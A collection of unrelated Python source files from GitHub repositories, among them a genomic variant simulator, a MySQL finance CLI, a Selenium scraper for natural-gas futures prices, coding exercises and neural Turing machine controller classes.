InsertionVariantDefinition(VariantDefinition):\n ''' Insertions can have predefined bases or simply define the number of bases\n that are inserted, at which point the inserted bases will be randomly\n generated\n '''\n ATTRIBUTES = [('chromosome', str),\n ('position', int),\n ('length', int),\n ('bases', str)]\n\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n try:\n self.bases\n except AttributeError:\n self._randomize_bases()\n\n def modify(self, reference):\n # a couple of cases should be considered here for insertions\n # 1. extension before\n # when the insertion occurs at the base right before the start of\n # reference\n # 2. extension after\n # when the insertion occurs at the base right after the end of the\n # reference\n # 3. contained within the reference\n # when the insertion appears somewhere in the middle of the reference\n # 4. preexisting insertion\n # when there is a preexisting insertion to worry about; we have to split\n # the reference read and the piece it back together with all inserted bases\n\n # no modifications necessary\n if self.position < self._rel_start - 1:\n return reference\n elif self.position > self._rel_start + len(reference):\n return reference\n\n reference, mods = self._current_mods(reference)\n \n len_reference = len(reference)\n\n # handle case 1\n if self.position == self._rel_start - 1:\n insertion_start_index = 0\n # handle case 2\n elif self.position == self._rel_start + len(reference):\n insertion_start_index = len_reference\n # handle case 3\n else:\n insertion_start_index = self.position - self._rel_start + 1\n\n mods.append(MOD(\n self.type,\n insertion_start_index,\n self.bases))\n\n return self._apply_mods(reference, mods)\n\n '''\n def _apply_mods(self, reference, mods):\n modified_reference = ''\n prev_index = 0\n for index, bases in sorted(mods, key=lambda x:x[0]):\n modified_reference += reference[prev_index:index] + '_{}_'.format(bases)\n prev_index = index\n\n return modified_reference + reference[prev_index:]\n \n \n def _current_mods(self, reference):\n #if other insertions have been made we will need to strip them from the reference\n # before we proceed\n\n data = reference.split('_')\n mods = []\n unmodified_ref = ''.join([data[x] for x in range(0, len(data), 2)])\n pos = 0\n for x in range(1, len(data), 2):\n pos += len(data[x-1])\n mods.append((pos, data[x]))\n\n return unmodified_ref, mods\n '''\n\n def _randomize_bases(self):\n ''' if a set of bases where not passed into the constructor for the insertion,\n then generate set of randomized bases for use\n '''\n \n self.bases = ''.join([random.choice('AGCT') for x in range(self.length)])\n\n\nclass TranslocationVariantDefinition(VariantDefinition):\n ATTRIBUTES = [('chromosome_1', str),\n ('position_1', int),\n ('chromosome_2', str),\n ('position_2', int)]\n\n # maintain a dictionary containing all translocation reads\n # format will follow as defined\n # {EVENT-ID: SEQUENCE, ... }\n\n\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n self.ids = []\n self._set_event_ids()\n\n def modify(self, reference1, reference2):\n ''' given two reference sequences, return the translocated sequences\n '''\n modified_reference1 = ''\n modified_reference2 = ''\n\n if self.type == 'INV':\n index1 = self.position_1 - self._rel_start_1 + 1\n index2 = self.position_2 - self._rel_start_2 + 1\n\n unmod_ref_1, mods_1 = self._current_mods(reference1)\n unmod_ref_2, mods_2 = self._current_mods(reference2)\n\n mods_1.append(MOD(self.type,\n index1,\n self.ids[0]))\n mods_2.append(MOD(self.type,\n index2,\n self.ids[1]))\n\n modified_reference1 = self._apply_mods(unmod_ref_1, mods_1, tags_only=True)\n modified_reference2 = self._apply_mods(unmod_ref_2, mods_2, tags_only=True)\n\n elif self.type == 'TRANS':\n index1 = self.position_1 - self._rel_start_1 + 1\n index2 = self.position_2 - self._rel_start_2 + 1\n unmod_ref_1, mods_1 = self._current_mods(reference1)\n unmod_ref_2, mods_2 = self._current_mods(reference2)\n\n mods_1.append(MOD(self.type,\n index1,\n self.ids[0]))\n mods_2.append(MOD(self.type,\n index2,\n self.ids[1]))\n\n modified_reference1 = self._apply_mods(unmod_ref_1, mods_1, tags_only=True)\n modified_reference2 = self._apply_mods(unmod_ref_2, mods_2, tags_only=True)\n\n \n self._update_trans_table(modified_reference1)\n self._update_trans_table(modified_reference2)\n\n return modified_reference1, modified_reference2\n\n def _insert_delimiter(self, reference, index, event_id):\n ''' given the reference and the index position, insert into the reference\n the '|' delimiter for structural variants\n '''\n data = reference.split('_')\n current_index = 0\n for x in range(len(data)):\n if current_index + len(data[x]) > index:\n data[x] = data[x][:index - current_index] + '|({})|'.format(event_id) + data[x][index-current_index:]\n break\n if x % 2 == 0:\n current_index += len(data[x])\n return '_'.join(data)\n\n def _set_event_ids(self):\n ''' set the id for this translocation event\n '''\n VariantDefinition.TRANS_COUNT += 1\n self.ids.append('{}-{}'.format(VariantDefinition.TRANS_COUNT, self.type))\n VariantDefinition.TRANS_COUNT += 1\n self.ids.append('{}-{}'.format(VariantDefinition.TRANS_COUNT, self.type))\n\n def _update_trans_table(self, ref):\n ''' updated a reference or add a new reference to the translation table\n remember that the event_id needs to map to the bases that are going to be\n used to modify the reference -- therefore even ids are - 1 and odd are + 1\n '''\n for mod in self._current_mods(ref)[1]:\n if mod.type in ['TRANS', 'INV', 'RTRANS', 'RINV']:\n count, event = mod.effect.split('-')\n if int(count) % 2 == 0:\n VariantDefinition.TRANSLATION_TABLE['{}-{}'.format(int(count) - 1, event)] = ref\n else:\n VariantDefinition.TRANSLATION_TABLE['{}-{}'.format(int(count) + 1, event)] = ref\n \n def merge_mods(self, reference1, reference2):\n ''' merge together 2 different translocation modifications\n '''\n\n def set_relative_start(self, position1, position2):\n ''' set the relative start positions of the references\n position 1 should correspond to the refernece1\n position 2 should correspond to the reference2\n '''\n self._rel_start_1 = position1\n self._rel_start_2 = position2\n\n\nclass CopynumberVariantDefinition(VariantDefinition):\n ''' can only define copy number gains at the moment\n '''\n ATTRIBUTES = [('chromosome', str),\n ('start_position', int),\n ('end_position', int),\n ('copy_number', int)]\n\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n\n def modify(self, reference):\n len_reference = len(reference)\n \n if self.start_position <= self._rel_start:\n # subtract 1 from the index possibly\n if self.end_position >= self._rel_start + len_reference - 1:\n # handle case 1\n # the CNV completely encompsses the reference\n cnv_start_index = 0\n cnv_end_index = len_reference\n else:\n # handle case 2\n # CNV begins at or before the start of the sequence and\n # terminates in the middle\n cnv_start_index = 0\n cnv_end_index = self.end_position - self._rel_start + 1\n\n elif self.end_position >= self._rel_start + len_reference - 1:\n # handle case 2\n # cnv begins in the middle of the sequence and terminates at the end\n cnv_start_index = self.start_position - self._rel_start\n cnv_end_index = len_reference\n pass\n else:\n # handle case 3\n cnv_start_index = self.start_position - self._rel_start\n cnv_end_index = self.end_position - self._rel_start + 1\n copy_reference = [reference[cnv_start_index:cnv_end_index] for x in range(self.copy_number - 1)]\n\n return [reference] + copy_reference \n\n\nclass Reference(object):\n def __init__(self):\n # modification list\n self.mod_list = []\n\n def get_reference(self):\n ''' for each item in the mod_list, apply the modification to the\n reference sequence accordingly and return the modified reference\n sequence\n TODO: cache reference for quicker access?\n '''\n pass\n\n\ndef reverse_complement(read):\n trans_table = {'A': 'T',\n 'T': 'A',\n 'C': 'G',\n 'G': 'C'}\n complement = ''\n event_trans = False\n event_ins = False\n event_string = ''\n \n for b in range(1, len(read) + 1):\n if read[-b] == '|':\n if event_trans:\n event_trans = False\n complement += event_string\n event_string = ''\n else:\n event_trans = True\n complement += read[-b]\n continue\n elif read[-b] == '_':\n if event_ins:\n event_ins = False\n else:\n event_ins = True\n complement += read[-b]\n continue\n else:\n if event_trans:\n event_string = read[-b] + event_string\n else:\n try:\n complement += trans_table[read[-b]]\n except KeyError:\n complement += read[-b]\n return complement\n\ndef remove_nesting(v):\n ''' remove nested tuples\n '''\n if type(v) == tuple:\n try:\n v[1]\n return [v[0]] + remove_nesting(v[1])\n except IndexError:\n return [v[0]]\n else:\n return [v]\n\nVARIANT_CLASS_TABLE = {\n 'SNP': SubstitutionVariantDefinition,\n 'TRANS': TranslocationVariantDefinition,\n 'INV': TranslocationVariantDefinition,\n 'INS': InsertionVariantDefinition,\n 'DEL': DeletionVariantDefinition,\n 'CNV': CopynumberVariantDefinition}\n","repo_name":"michael-ta/Varify","sub_path":"src/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":20629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"40690694026","text":"from traits.api import Instance, Str\nfrom traitsui.api import View, Item, Group, HGroup, spring, \\\n EnumEditor\n#=============standard library imports ========================\nimport os\n#=============local library imports ==========================\nfrom manager_script import ManagerScript\nfrom src.managers.displays.rich_text_display import RichTextDisplay\n# from src.managers.displays.rich_text_display import StyledTextDisplay\nfrom src.helpers.color_generators import colors8i as colors\nfrom src.helpers.filetools import parse_file\n\nclass FileScript(ManagerScript):\n '''\n G{classtree}\n '''\n _file_contents_ = None\n source_dir = None\n progress_display = Instance(RichTextDisplay)\n file_name = Str\n available_scripts = None\n def __init__(self, *args, **kw):\n '''\n @type *args: C{str}\n @param *args:\n\n @type **kw: C{str}\n @param **kw:\n '''\n super(FileScript, self).__init__(*args, **kw)\n self.available_scripts = []\n\n def open(self):\n '''\n '''\n if self.source_dir is not None:\n if os.path.isdir(self.source_dir):\n files = os.listdir(self.source_dir)\n\n files = [f for f in files\n if not os.path.basename(f).startswith('.') and\n os.path.isfile(os.path.join(self.source_dir, f)) ]\n\n self.available_scripts = files\n self.file_name = files[0]\n self.edit_traits(view='progress_view')\n else:\n self.warning('Invalid directory %s' % self.source_dir)\n else:\n self.warning('Source directory is None')\n\n def load_file_contents(self):\n '''\n '''\n p = os.path.join(self.source_dir, self.file_name)\n self.file_path = p\n self._file_contents_ = parse_file(p)\n\n def _start_fired(self):\n '''\n '''\n return self.bootstrap()\n\n def bootstrap(self, condition=None):\n '''\n @type condition: C{str}\n @param condition:\n '''\n self.condition = condition\n self.load_file_contents()\n if not self.load_file():\n\n if self.load():\n self.start()\n\n # we are started so update running flag\n return True\n\n\n def add_display_text(self, msg, color=None, log=False):\n '''\n @type msg: C{str}\n @param msg:\n\n @type color: C{str}\n @param color:\n\n @type log: C{str}\n @param log:\n '''\n if not color:\n color = colors['black']\n\n elif isinstance(color, str):\n color = colors[color]\n\n self.progress_display.add_text(msg=msg, color=color)\n if log:\n self.info('%s' % msg)\n def load(self):\n '''\n '''\n if self.set_data_frame():\n self.set_graph()\n return True\n\n def load_file(self):\n '''\n '''\n raise NotImplementedError\n\n def set_graph(self):\n '''\n '''\n pass\n\n\n\n def _info_group_factory(self):\n '''\n '''\n g = Group(Item('progress_display', show_label=False, style='custom'),)\n return g\n\n def progress_view(self):\n '''\n '''\n\n return View(Item('default_save'),\n self._button_group_factory(),\n HGroup(Item('file_name', editor=EnumEditor(values=self.available_scripts), show_label=False), spring),\n self._info_group_factory(),\n x=10,\n y=20,\n title='Script Progress',\n resizable=True,\n )\n\n#=========== defaults ===========\n def _progress_display_default(self):\n '''\n '''\n return RichTextDisplay(width=100)\n#=========== EOF ================\n","repo_name":"softtrainee/arlab","sub_path":"src/zobs/scripts/file_script.py","file_name":"file_script.py","file_ext":"py","file_size_in_byte":3940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70665882908","text":"#External libraries\nimport mysql.connector\nfrom getpass import getpass\n\n#Internal files\nimport ExpenseFunctions as Expenses\nimport IncomeFunctions as Income\nimport CLIFunctions as CLI\n\n#Global variables\nDATABASE_NAME = 'finances_db'\n\ndef Help_Menu():\n print('Available commands:\\n')\n\n print('insert_expenses: enter insert expense mode.')\n print('view_expenses: view expense data for a specific month.')\n print('insert_income: enter insert income mode.')\n print('view_income: view income data for a specific month.')\n print('summary: view montly summary data.')\n print('quit: leave finances app.')\n\n\n\n#AGGREGATED DATA\n\ndef Print_Montly_Summary_Data(connection, cursor, date):\n total_income = Income.View_Total_Income(connection, cursor, {'income_date': date})[0]\n total_expense = Expenses.View_Total_Expense(connection, cursor, {'expense_date': date})[0][0]\n\n print('Summary data for: ' + str(date) +'\\n')\n print('Total income: ' + str(total_income))\n print('Total expense: ' + str(total_expense))\n print('Difference: ' + str(total_income - total_expense))\n\ndef Print_Range_Summary_Data(connection, cursor, date):\n #date[0]:lower date; date[1]:upper date\n year, month = date[0].split(\"-\")\n upper_year, upper_month = date[1].split(\"-\")\n\n year = int(year)\n month = int(month)\n upper_year = int(upper_year)\n upper_month = int(upper_month)\n\n print('\\n' + 'Total income' + (' ' * 8) + 'Total expense' + (' ' * 7) + 'Difference\\n')\n while year < upper_year or month <= upper_month:\n date = str(year) + '-' + str(month)\n\n total_income = Income.View_Total_Income(connection, cursor, {'income_date': date})[0]\n total_expense = Expenses.View_Total_Expense(connection, cursor, {'expense_date': date})[0][0]\n if total_income == None or total_expense == None:\n difference = None\n else:\n difference = total_income - total_expense\n\n summary_string = str(total_income) + (' ' * (20 - len(str(total_income))))\n summary_string += str(total_expense) + (' ' * (20 - len(str(total_expense))))\n summary_string += str(difference)\n print(summary_string)\n\n #update date\n if month == 12:\n month = 1\n year += 1\n else:\n month += 1\n\n\n\ndef Summary_Data_Mode(connection, cursor):\n print(\"Summary data mode.\")\n print(\"\\nEnter 'help' to see command menu, or 'q' or 'quit' to return.\")\n print(\"Type date 'YYYY-MM' to see sumary data\")\n\n command = input('summary>')\n while command != 'q' and command != 'quit':\n command = command.strip().split(\" \")\n if command[0] == 'range':\n if len(command) != 3:\n print(\"Incorrect format for 'range' command.\")\n print(\"Format: range YYYY-MM YYYY-MM\")\n else:\n #FUTURE UPDATE: validate dates format\n Print_Range_Summary_Data(connection, cursor, [command[1], command[2]])\n else:\n #FUTURE UPDATE: validate command\n Print_Montly_Summary_Data(connection, cursor, command[0])\n\n command = input('summary>')\n \n\nif __name__ == '__main__':\n try:\n with mysql.connector.connect(\n host=\"localhost\",\n user=input(\"Enter username: \"),\n password=getpass(\"Enter password: \"),\n database = DATABASE_NAME\n ) as connection:\n with connection.cursor() as cursor:\n command = input(\">\")\n while not (CLI.QuitCommands(command)):\n if command == 'help':\n Help_Menu()\n elif command == 'insert_expenses':\n Expenses.Insert_Expenses_Mode(connection, cursor)\n elif command == 'view_expenses':\n Expenses.View_Expenses_Mode(connection, cursor)\n elif command == 'insert_income':\n Income.Insert_Income_Mode(connection, cursor)\n elif command == 'view_income':\n Income.View_Income_Mode(connection, cursor)\n elif command == 'summary':\n Summary_Data_Mode(connection, cursor)\n else:\n print(\"Command not found\")\n \n command = input(\">\")\n\n\n except mysql.connector.Error as e:\n print(e)","repo_name":"andremazzari/Finances-Control-Application","sub_path":"src/Finances.py","file_name":"Finances.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19894855474","text":"from sqlite3 import Timestamp\nfrom marshmallow import Schema, fields, post_load, validates, ValidationError\nfrom db.db_manager import Metric\n\nclass MetricSchema(Schema):\n sno = fields.Int()\n id = fields.Int()\n timestamp = fields.DateTime(format='%Y-%m-%dT%H:%M:%S')\n temperature = fields.Float()\n humidity = fields.Float()\n\n @post_load\n def create_metric(self, data, **kwargs):\n return Metric(**data)\n\n @validates(\"humidity\")\n def validate_humidity(self, value):\n if value < 0:\n raise ValidationError(\"humidity must be greater than 0.\")\n if value > 100:\n raise ValidationError(\"humidity must not be greater than 100.\")\n\n @validates(\"temperature\")\n def validate_temperature(self, value):\n if value < -30:\n raise ValidationError(\"temperature must be greater than -30.\")\n if value > 50:\n raise ValidationError(\"temperature must not be greater than 50.\")\n\n @validates(\"id\")\n def validate_id(self, value):\n if value >= 10000:\n raise ValidationError(\"id value should be less than 10000\")\n\n @validates(\"id\")\n def validate_id(self, value):\n if value >= 10000:\n raise ValidationError(\"id value should be less than 10000\")\n","repo_name":"senthil7273/api","sub_path":"api/service/metric_schema.py","file_name":"metric_schema.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8571986425","text":"def index_is_valid(*args):\n return True if 0 <= args[0] < args[2] and 0 <= args[1] < args[2] else False\n\n\nmoves_mapper = {\n \"up\": (-1, 0),\n \"down\": (1, 0),\n \"left\": (0, -1),\n \"right\": (0, 1),\n \"up_right\": (-1, 1),\n \"up_left\": (-1, -1),\n \"down_right\": (1, 1),\n \"down_left\": (1, -1),\n}\n\nfield_size = int(input())\nbombs_number = int(input())\nfield = [[0 for _ in range(field_size)] for _ in range(field_size)]\n\nfor _ in range(bombs_number):\n coordinates = map(int, input().strip(\"()\").split(\", \"))\n y, x = coordinates\n field[y][x] = \"*\"\n\nfor row in range(field_size):\n for col in range(field_size):\n if not field[row][col] == \"*\":\n for direction in moves_mapper:\n next_r = row + moves_mapper[direction][0]\n next_c = col + moves_mapper[direction][1]\n if index_is_valid(next_r, next_c, field_size):\n if field[next_r][next_c] == \"*\":\n field[row][col] += 1\n\n[print(f\"{' '.join(map(str, row))}\") for row in field]\n","repo_name":"todorovventsi/Software-Engineering","sub_path":"Python-Advanced-2021/Exam-preparation/Python_Advanced_Retake_Exam-19-August-2020/03.Problem_03-Minesweeper.py","file_name":"03.Problem_03-Minesweeper.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"14887011684","text":"# import sys\n# from io import StringIO\n#\n# test_input1 = '''- R - - - -\n# - - - - - R\n# - E - R - -\n# - W - - - -\n# - - - C - -\n# M - - - - -\n# down, right, down, right, down, left, left, left\n# '''\n# test_input2 = '''R - - - - -\n# - - C - - -\n# - - - - M -\n# - - W - - -\n# - E - W - R\n# - - - - - -\n# up, right, down, right, right, right\n# '''\n# test_input3 = '''R - - - - -\n# - - C - - -\n# - - - - M -\n# C - M - R M\n# - E - W - -\n# - - - - - -\n# right, right, up, left, left, left, left, left\n# '''\n#\n# # sys.stdin = StringIO(test_input1)\n# # sys.stdin = StringIO(test_input2)\n# # sys.stdin = StringIO(test_input3)\ndef words_sorting(*args):\n words_dict = {}\n for arg in args:\n words_dict[arg] = sum(ord(x) for x in arg)\n if sum(words_dict.values()) % 2 != 0:\n sorted_words = [f\"{key} - {value}\" for key, value in sorted(words_dict.items(), key=lambda x: -x[1])]\n else:\n sorted_words = [f\"{key} - {value}\" for key, value in sorted(words_dict.items(), key=lambda x: x[0])]\n return '\\n'.join(sorted_words)\n\n\nprint(\n words_sorting(\n 'escape',\n 'charm',\n 'mythology'\n ))\nprint(\n words_sorting(\n 'escape',\n 'charm',\n 'eye'\n ))\n\nprint(\n words_sorting(\n 'cacophony', \n 'accolade'\n ))\n","repo_name":"StoyanovaT/SoftUni-Python-Advanced","sub_path":"Изпитни задачи/01.Python Advanced Retake Exam - 14 April 2022/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11619847886","text":"from cmk.base.check_api import LegacyCheckDefinition\nfrom cmk.base.config import check_info\nfrom cmk.base.plugins.agent_based.agent_based_api.v1 import SNMPTree\nfrom cmk.base.plugins.agent_based.utils.viprinet import DETECT_VIPRINET\n\n\ndef check_viprinet_firmware(_no_item, _no_params, info):\n fw_status_map = {\n \"0\": \"No new firmware available\",\n \"1\": \"Update Available\",\n \"2\": \"Checking for Updates\",\n \"3\": \"Downloading Update\",\n \"4\": \"Installing Update\",\n }\n fw_status = fw_status_map.get(info[0][1])\n if fw_status:\n return (0, f\"{info[0][0]}, {fw_status}\")\n return (3, \"%s, no firmware status available\")\n\n\ncheck_info[\"viprinet_firmware\"] = LegacyCheckDefinition(\n detect=DETECT_VIPRINET,\n fetch=SNMPTree(\n base=\".1.3.6.1.4.1.35424.1.1\",\n oids=[\"4\", \"7\"],\n ),\n service_name=\"Firmware Version\",\n discovery_function=lambda info: len(info) > 0 and [(None, None)] or [],\n check_function=check_viprinet_firmware,\n)\n","repo_name":"Checkmk/checkmk","sub_path":"cmk/base/legacy_checks/viprinet_firmware.py","file_name":"viprinet_firmware.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":1176,"dataset":"github-code","pt":"11"} +{"seq_id":"40265878368","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 20 20:37:14 2018\n\n@author: robertbaumgartner\n\nAnswers to the questions: \n a) Breakpoint should be at t=0.6 (see code below)\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# do the array from the task\nx = np.array([[0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0], [0.9, 1.01, 1.05, 0.97, 0.98, 0.95, 0.01, -0.1, 0.02, -0.1, 0.0]])\n\n# -----------------Task a)------------------------\n\n# plot the data (obviously)\nfig1, ax1 = plt.subplots()\nax1.plot(x[0,:], x[1,:])\nax1.set_title(\"Original Data\")\nax1.set_xlabel(\"t\")\nax1.set_ylabel(\"b\")\n\n# select a breakpoint and extract the relevant data\nbreakpoint = 6\nx_1 = x[0, 0:breakpoint]\nx_2 = x[0, breakpoint:]\ny_1 = x[1, 0:breakpoint]\ny_2 = x[1, breakpoint:]\n\n# -----------------Task b)------------------------\n\n# generate the matrices for regression\nX_1 = np.ones([len(x_1), 2])\nX_1[:,1] = x_1.T\nX_2 = np.ones([len(x_2), 2])\nX_2[:,1] = x_2.T\n\nX_1_inv = np.linalg.pinv(X_1)\nX_2_inv = np.linalg.pinv(X_2)\n\nb_1 = np.dot(X_1_inv,y_1)\nb_2 = np.dot(X_2_inv,y_2)\n\nfig2, ax2 = plt.subplots()\nax2.plot(x_1, y_1)\nax2.plot(x_1, np.dot(X_1,b_1))\nax2.plot(x_2, y_2)\nax2.plot(x_2, np.dot(X_2,b_2))\nax2.set_title(\"Data after linear regression vs. Original\")\nax2.set_xlabel(\"t\")\nax2.set_ylabel(\"b\")","repo_name":"robTheBob86/homework-1-DataAnalysis","sub_path":"task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36194727463","text":"#--------------------------------------------------------------------------------------------------------\n# Importing Python Modules\nimport selenium\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.action_chains import ActionChains as wd\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport csv\nimport os\nimport time\nimport pandas as pd\n#--------------------------------------------------------------------------------------------------------\n# Browser Path\nPATH = \"/home/sratus/Desktop/API/chromedriver\"\noptions = webdriver.ChromeOptions()\noptions.binary_location = '/usr/bin/google-chrome'\nprefs = {'download.default_directory' : \"/home/sratus/QG Terminal/QG-Terminal/apps/data/\"}\noptions.add_experimental_option('prefs',prefs)\noptions.add_argument('window-size=1200x600')\ndriver = webdriver.Chrome(ChromeDriverManager().install(),options=options)\n#--------------------------------------------------------------------------------------------------------\n# Request Page\ndriver.get('https://finance.yahoo.com/quote/NG%3DF/futures?p=NG%3DF')\ntime.sleep(3) # wait 3 seconds\n\n# Define Target Data\nfront_price = driver.find_element_by_css_selector(\"tr.BdT:nth-child(1) > td:nth-child(3) > span:nth-child(1)\")\nfront_date = driver.find_element_by_css_selector(\"tr.BdT:nth-child(1) > td:nth-child(1) > a:nth-child(1)\")\nprices = []\ndates = []\nfor element in range(2,50):\n prices.append(driver.find_element_by_css_selector(\"tr.Ta\\(end\\):nth-child({}) > td:nth-child(3) > span:nth-child(1)\".format(element)).text)\nfor element in range(2,50):\n dates.append(driver.find_element_by_css_selector(\"tr.Ta\\(end\\):nth-child({}) > td:nth-child(1) > a:nth-child(1)\".format(element)).text)\ndates.insert(0,front_date.text)\ndates_ = []\nfor date in dates:\n dates_.append(date[2:5])\nprices.insert(0,float(front_price.text))\n\n# Change contract code to month (ex. J21 -> April 21)\n_date_ = []\nfor date in dates_:\n if date[0] == 'F':\n _date_.append(\"Jan {}\".format(date[-2:]))\n if date[0] == 'G':\n _date_.append(\"Feb {}\".format(date[-2:]))\n if date[0] == 'H':\n _date_.append(\"Mar {}\".format(date[-2:]))\n if date[0] == 'J':\n _date_.append(\"Apr {}\".format(date[-2:]))\n if date[0] == 'K':\n _date_.append(\"May {}\".format(date[-2:]))\n if date[0] == 'M':\n _date_.append(\"Jun {}\".format(date[-2:]))\n if date[0] == 'N':\n _date_.append(\"Jul {}\".format(date[-2:]))\n if date[0] == 'Q':\n _date_.append(\"Aug {}\".format(date[-2:]))\n if date[0] == 'U':\n _date_.append(\"Sep {}\".format(date[-2:]))\n if date[0] == 'V':\n _date_.append(\"Oct {}\".format(date[-2:]))\n if date[0] == 'X':\n _date_.append(\"Nov {}\".format(date[-2:]))\n if date[0] == 'Z':\n _date_.append(\"Dec {}\".format(date[-2:]))\n \ndf = pd.DataFrame({\n 'Date': _date_,\n 'Price': prices\n})\nprint(df)\n\n# Export to csv\nfilename=\"forwards_curve.csv\"\ncolumns = [\"Date\",\"Price\"]\nwith open(filename,'w') as csvfile:\n csvwriter = csv.writer(csvfile)\n csvwriter.writerow(columns)\n for val in range(len(_date_)):\n csvwriter.writerow([_date_[val],prices[val]])\n\n#--------------------------------------------------------------------------------------------------------\n# Quit driver\ndriver.quit()\n#--------------------------------------------------------------------------------------------------------","repo_name":"antonio-hickey/Natural-Gas","sub_path":"Forwards Curve/Data/forwards_curve_miner.py","file_name":"forwards_curve_miner.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"35202343419","text":"'''\nTo train model and check score\n'''\nfrom training import check_scoring, train_test_model\nfrom training.data import get_train_test_data\nimport argparse\nimport logging\n\n\ndef go(args):\n \"\"\"\n to execute pipeline with arguments\n \"\"\"\n logging.basicConfig(level=logging.INFO)\n\n logging.info(\"Getting train test data\")\n train, test = get_train_test_data()\n\n if args.action == \"all\" or args.action == \"train_test_model\":\n logging.info(\"Train Test Model\")\n train_test_model(train, test)\n\n if args.action == \"all\" or args.action == \"scoring\":\n logging.info(\"Slicing Scroing\")\n check_scoring(test)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Model training pipeline\")\n\n parser.add_argument(\n \"--action\",\n type=str,\n choices=[\"train_test_model\",\n \"scoring\",\n \"all\"],\n default=\"all\",\n help=\"Pipeline action\"\n )\n\n args = parser.parse_args()\n\n go(args)\n","repo_name":"simp13/scalable_ml_pipeline_udacity","sub_path":"train_model_score.py","file_name":"train_model_score.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19267289144","text":"import torch\nfrom torch import nn\nfrom torch.nn import Parameter\nimport numpy as np\nimport torch.nn.functional as F\n\n\nclass Controller(nn.Module):\n def __init__(self, lstm_controller, vector_length, hidden_size):\n super(Controller, self).__init__()\n # We allow either a feed-forward network or a LSTM for the controller\n self._lstm_controller = lstm_controller\n if self._lstm_controller:\n self._controller = LSTMController(vector_length, hidden_size)\n else:\n self._controller = FeedForwardController(vector_length, hidden_size)\n\n def forward(self, x, state):\n return self._controller(x, state)\n\n def get_initial_state(self, batch_size):\n return self._controller.get_initial_state(batch_size)\n\n\nclass LSTMController(nn.Module):\n def __init__(self, vector_length, hidden_size):\n super(LSTMController, self).__init__()\n self.layer = nn.LSTM(input_size=vector_length, hidden_size=hidden_size)\n # The hidden state is a learned parameter\n self.lstm_h_state = Parameter(torch.randn(1, 1, hidden_size) * 0.05)\n self.lstm_c_state = Parameter(torch.randn(1, 1, hidden_size) * 0.05)\n for p in self.layer.parameters():\n if p.dim() == 1:\n nn.init.constant_(p, 0)\n else:\n stdev = 5 / (np.sqrt(vector_length + hidden_size))\n nn.init.uniform_(p, -stdev, stdev)\n\n def forward(self, x, state):\n output, state = self.layer(x.unsqueeze(0), state)\n return output.squeeze(0), state\n\n def get_initial_state(self, batch_size):\n lstm_h = self.lstm_h_state.clone().repeat(1, batch_size, 1)\n lstm_c = self.lstm_c_state.clone().repeat(1, batch_size, 1)\n return lstm_h, lstm_c\n\n\nclass FeedForwardController(nn.Module):\n def __init__(self, vector_length, hidden_size):\n super(FeedForwardController, self).__init__()\n self.layer_1 = nn.Linear(vector_length, hidden_size)\n self.layer_2 = nn.Linear(hidden_size, hidden_size)\n stdev = 5 / (np.sqrt(vector_length + hidden_size))\n nn.init.uniform_(self.layer_1.weight, -stdev, stdev)\n nn.init.uniform_(self.layer_2.weight, -stdev, stdev)\n\n def forward(self, x, state):\n x1 = F.relu(self.layer_1(x))\n output = F.relu(self.layer_2(x1))\n return output, state\n\n def get_initial_state(self):\n return 0, 0\n","repo_name":"clemkoa/ntm","sub_path":"ntm/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"11"} +{"seq_id":"20949332689","text":"import pandas as pd\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nimport pickle\n\n'''\nfrom google.colab import drive\ndrive.mount('/content/gdrive')\n#PATH = '/content/gdrive/My Drive/AnacondaProjects/N225'\n#os.chdir(PATH)\n'''\n\nPATH = 'E:/AnacondaProjects/N225'\n#PATH = 'C:/Users/s1887/AnacondaProjects/N225'\n#PATH = '/home/ky/AnacondaProjects/N225'\nos.chdir(PATH)\n\n#%%\ndef read_data_pandas(file_name):\n data = pd.read_csv(os.path.join('DATA', file_name))\n data.set_index('Date', inplace=True)\n data.index = pd.to_datetime(data.index)\n return data\n\n#%%\nN225 = read_data_pandas(file_name='N225.csv')\nDJIA = read_data_pandas(file_name='DJIA.csv')\n\nall_data = read_data_pandas(file_name='all_data.csv')\n\ntrain_data = 